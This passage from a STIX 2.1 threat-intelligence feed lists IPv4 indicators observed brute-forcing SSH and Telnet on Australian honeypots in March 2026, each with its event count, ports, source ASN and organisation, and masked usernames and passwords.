      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 55. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, c****g, s***d, u**t. Passwords observed (masked): a***n, *, a*******3, c****g, p******d.",
      "id": "indicator--351b25e1-e84b-4abc-b905-c4a599132119",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '116.99.173.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, f***k, t****r, ***. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1******Z, Q******..",
      "id": "indicator--3cb1c391-c37f-468d-8be6-e38d00ee196f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.63.198.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): k***a, r**t, 3**********4, c*****s, g*****a. Passwords observed (masked): ***, !******r, 3***********4, 3**********4, A******6.",
      "id": "indicator--65c77f35-c7c0-4d35-8c56-4916fafc9d49",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '144.217.161.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 231. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, e*******l, U**r, a**s. Passwords observed (masked): 1******8, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--02d442b7-7e18-4f15-8114-6de1d4195b38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.189.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): ***, 3**********4, ***, f****e, f*******d. Passwords observed (masked): 1**4, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--09642eb6-cab4-44fa-9fec-18e8eddf1905",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.211.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 355. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, g***t, *, a***d. Passwords observed (masked): 1****6, 1******X, 0******0, 1**4, ***.",
      "id": "indicator--f51f7929-00cd-44f6-b3ac-0a239c9dc628",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.223.149.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--74252049-e145-405e-aba0-2e16a75e0b8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--777a1894-795d-4664-b42c-3df43247b7bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.180.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, i*******r, s*****t. Passwords observed (masked): i*******r, r**t, r*****3, s*****t.",
      "id": "indicator--8f62f687-7d7b-4962-98b5-fbe509dfc0fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.191.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 466. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, c***o, m*****r, u**r. Passwords observed (masked): 1**4, 1****6, 1******8, a***n, a******3.",
      "id": "indicator--adf5605c-cf67-47eb-b4dc-8bd8b933c3fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.192.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 484. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, t**t, u**t, *****. Passwords observed (masked): 1**4, 1****6, 1***5, P******d, a***n.",
      "id": "indicator--df151b39-ed21-4e1d-b288-ecd5ba251310",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.231.195.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--c9f3b61e-8474-44aa-866a-4324d1b239b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company. Usernames observed (masked): g****e, r**t, 3**********4, **, *. Passwords observed (masked): ***, 1****6, 1***5, 3***********4, 3**********4.",
      "id": "indicator--a862bd4e-6565-4dfb-822d-5055275c86c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '195.158.4.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--174bfe70-f3b5-49b3-a0e8-8226903e312d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.222.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--644892c8-fdf7-474a-9992-c3c1fbd698a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.212.28.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): 3**********4, r**t, ***, f*******d, p****o. Passwords observed (masked): 1**4, 3**********4, 1****6, 3***********4, Q********@.",
      "id": "indicator--8d0eaade-a763-4839-8d3f-622e5a3516d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.78.237.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T09:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--7b3f762a-9f29-4dd9-a576-d435d4c3534a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T09:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.98.68.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T09:15:03.000Z",
      "valid_until": "2026-04-20T09:15:01.000Z"
    },
    {
      "created": "2026-03-19T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--5db2d87b-57f0-4743-a707-ff9f1c284a6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.90.248.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:15:14.000Z",
      "valid_until": "2026-04-20T10:15:12.000Z"
    },
    {
      "created": "2026-03-19T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EC. ASN(s): 27947. Organisation(s): Telconet S.A. Usernames observed (masked): s****w. Passwords observed (masked): s********s.",
      "id": "indicator--74ac8a79-6f7d-46f1-aa74-0d4e494639a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.4.240.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:15:14.000Z",
      "valid_until": "2026-04-20T10:15:12.000Z"
    },
    {
      "created": "2026-03-19T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--d244f46d-335a-4315-81af-894782fb3d95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:15:14.000Z",
      "valid_until": "2026-04-20T10:15:12.000Z"
    },
    {
      "created": "2026-03-19T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ef61959e-e311-49e4-a7fe-2d3676bcf539",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.18.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:15:14.000Z",
      "valid_until": "2026-04-20T10:15:12.000Z"
    },
    {
      "created": "2026-03-19T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--fa0b515b-0e16-4bfb-85a1-bfe003506a16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.228.10.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:15:14.000Z",
      "valid_until": "2026-04-20T10:15:12.000Z"
    },
    {
      "created": "2026-03-19T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 47. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fdb43586-6c0f-4327-9637-73a6a71dc6c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '34.53.176.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:15:14.000Z",
      "valid_until": "2026-04-20T10:15:12.000Z"
    },
    {
      "created": "2026-03-19T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): p******d.",
      "id": "indicator--532b4fdc-120e-4625-bd62-1b1450247a33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '35.241.183.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:15:14.000Z",
      "valid_until": "2026-04-20T10:15:12.000Z"
    },
    {
      "created": "2026-03-19T10:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 151858. Organisation(s): INTERDIGI JOINT STOCK COMPANY. Usernames observed (masked): u****u. Passwords observed (masked): !******2.",
      "id": "indicator--2693aa1a-5366-4a8a-814e-26022d0c8e37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T10:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.50.55.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T10:15:14.000Z",
      "valid_until": "2026-04-20T10:15:12.000Z"
    },
    {
      "created": "2026-03-19T11:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): c*****o, 3**********4, a****s, b****p, b**a. Passwords observed (masked): 1****6, 1**4, 1***5, 1******8, 3***********4.",
      "id": "indicator--58e506a7-8375-4536-a926-224ccc763557",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T11:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.80.141.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T11:15:07.000Z",
      "valid_until": "2026-04-20T11:15:05.000Z"
    },
    {
      "created": "2026-03-19T11:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 226. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): 3**********4, **, ***, **, *. Passwords observed (masked): 1****6, 1******8, 3***********4, 3**********4, B**3.",
      "id": "indicator--94cc92e6-0787-41a9-8de0-bc79abd9878d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T11:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '180.252.203.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T11:15:07.000Z",
      "valid_until": "2026-04-20T11:15:05.000Z"
    },
    {
      "created": "2026-03-19T11:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 303. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A.. Usernames observed (masked): 3**********4, a*******r, e***s, j**e, r**t. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1***5, !******2.",
      "id": "indicator--f31b3647-b132-4bb6-8cc6-c8b50654540e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T11:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.104.58.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T11:15:07.000Z",
      "valid_until": "2026-04-20T11:15:05.000Z"
    },
    {
      "created": "2026-03-19T11:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): 1****6, a***n, a******3, a*******6, p******d.",
      "id": "indicator--bd72b1ba-dd5d-448d-ab93-4802cd4270d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T11:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '188.166.32.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T11:15:07.000Z",
      "valid_until": "2026-04-20T11:15:05.000Z"
    },
    {
      "created": "2026-03-19T11:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 161. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): b**s, 3**********4, c**o, f******l, g****r. Passwords observed (masked): ***, 1***5, 1****6, 1******8, 3***********4.",
      "id": "indicator--a7d0b327-a054-441a-b3d1-ce3e5412a121",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T11:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '58.233.189.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T11:15:07.000Z",
      "valid_until": "2026-04-20T11:15:05.000Z"
    },
    {
      "created": "2026-03-19T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 39351. Organisation(s): 31173 Services AB. Usernames observed (masked): a***n. Passwords observed (masked): a******f.",
      "id": "indicator--a8f08f5f-bf69-42b6-8973-cf699ec900a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.209.199.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T12:15:13.000Z",
      "valid_until": "2026-04-20T12:15:12.000Z"
    },
    {
      "created": "2026-03-19T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 53209. Organisation(s): RAIMAX INTERNET LTDA.",
      "id": "indicator--37653414-450a-4eaf-ad87-3ee8a2db647e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.233.181.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T12:15:13.000Z",
      "valid_until": "2026-04-20T12:15:12.000Z"
    },
    {
      "created": "2026-03-19T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 11878. Organisation(s): tzulo, inc.. Usernames observed (masked): a***n. Passwords observed (masked): a******f.",
      "id": "indicator--78d642a1-1eb5-42f6-b15b-397ecbdf713f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '23.234.122.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-19T12:15:13.000Z",
      "valid_until": "2026-04-20T12:15:12.000Z"
    },
    {
      "created": "2026-03-19T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r***t, 3**********4, k****a, p****c, r*****r. Passwords observed (masked): 1***5, 3***********4, 3**********4, P********!, R*****o.",
      "id": "indicator--cba8180e-b12c-4031-ab4b-63368a49c599",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-19T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.36.72.234']",
      "pattern_type": "stix",
